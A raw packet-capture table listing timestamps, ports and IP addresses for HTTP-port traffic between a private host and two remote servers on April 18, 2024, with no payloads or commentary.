Apr 18, 2024 23:40:04.625437021 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.625454903 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.625469923 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.625469923 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.625471115 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.625560045 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.625560999 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.629553080 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.629571915 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.629590034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.629679918 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.629697084 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.629713058 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.629729033 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.629745007 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.629760981 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.629762888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.629762888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.629762888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.629762888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.629779100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.629796982 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.629823923 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.629851103 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.629851103 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.629851103 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.629851103 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.629880905 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630052090 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630068064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630095005 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630114079 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630131006 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630136013 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630150080 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630158901 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630165100 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630178928 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630192995 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630206108 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630207062 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630206108 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630206108 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630232096 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630249977 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630287886 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630307913 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630331039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630342007 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630347013 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630362034 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630373001 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630373001 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630378962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630393982 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630397081 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630409956 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630413055 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630424023 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630429983 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630439043 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630450010 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630453110 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630467892 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630470991 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630482912 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630492926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630496025 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630511045 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630513906 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630525112 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630531073 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630538940 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630553961 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630568027 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630582094 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630582094 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630582094 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630595922 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630609035 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630609989 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630624056 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630637884 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630641937 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630650997 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630661011 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630665064 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630683899 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630701065 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630717039 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630728006 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630733967 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630745888 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630753040 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630769014 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630769968 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630786896 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630789042 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630805016 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630820990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630837917 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630840063 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630853891 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630861998 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630872011 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630888939 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630889893 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630906105 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.630918980 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630935907 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630971909 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.630984068 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631000996 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631016970 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631031990 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631032944 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.631047964 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631053925 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.631067038 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631078005 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.631083965 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631099939 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.631100893 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631118059 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631119967 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.631134987 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631151915 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631160975 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.631169081 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631180048 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.631185055 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631200075 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.631201982 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631218910 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631236076 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631237984 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.631252050 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631261110 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.631268978 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631285906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:04.631290913 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.631313086 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.631333113 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.862606049 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.862646103 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.862684011 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.862720013 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.862737894 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.862737894 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.862737894 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.862756968 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.862792969 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.862828970 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.862839937 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.862839937 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.862839937 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.862865925 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.862901926 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.862936974 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.862936974 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.862936974 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.862972021 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863008976 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863012075 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863012075 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863044024 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863054991 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863054991 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863079071 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863136053 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863173008 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863178968 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863178968 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863178968 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863208055 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863243103 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863257885 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863259077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863277912 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863313913 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863336086 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863336086 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863353014 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863372087 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863389015 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863425016 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863460064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863481998 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863481998 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863481998 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863495111 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863529921 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863531113 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863553047 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863565922 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863600969 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863636017 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863637924 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863637924 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863637924 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863671064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863707066 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863745928 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863756895 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863756895 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863756895 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863781929 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863816977 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863851070 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863851070 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863852024 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863887072 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863893032 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863893032 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.863922119 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863955975 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.863991976 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864001036 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864001036 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864001036 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864028931 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864063978 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864064932 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864119053 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864156008 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864156008 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864156961 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864170074 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864192963 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864212990 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864228010 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864264965 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864299059 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864310026 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864310026 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864310026 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864335060 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864362001 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864372015 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864408016 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864408016 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864408016 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864444017 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864479065 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864514112 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864514112 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864515066 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864542961 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864552021 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864587069 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864622116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864629030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864629030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864629030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864656925 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864691973 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864727020 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864727020 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864727020 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864762068 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864795923 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864830017 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864845991 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864845991 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864860058 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864860058 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864865065 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864867926 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864901066 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864936113 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864938974 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864938974 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.864970922 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.864998102 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865008116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865025997 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865072012 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865088940 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865108013 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865123987 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865132093 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865132093 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865140915 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865144968 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865159988 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865169048 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865178108 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865190983 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865192890 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865210056 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865226030 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865241051 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865240097 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865241051 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865257025 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865272999 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865279913 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865310907 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865345955 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865375996 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865375996 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865381002 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865417957 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865453005 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865454912 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865454912 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865454912 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865488052 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865523100 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865557909 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865566015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865566015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865566015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865592957 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865603924 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865628004 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865664005 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865674019 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865678072 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865714073 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865748882 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865783930 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865797043 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865797043 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865797043 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865819931 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865855932 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865890980 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865901947 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865901947 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865901947 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.865926027 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.865962029 CEST	80	49738	193.233.132.56	192.168.2.4
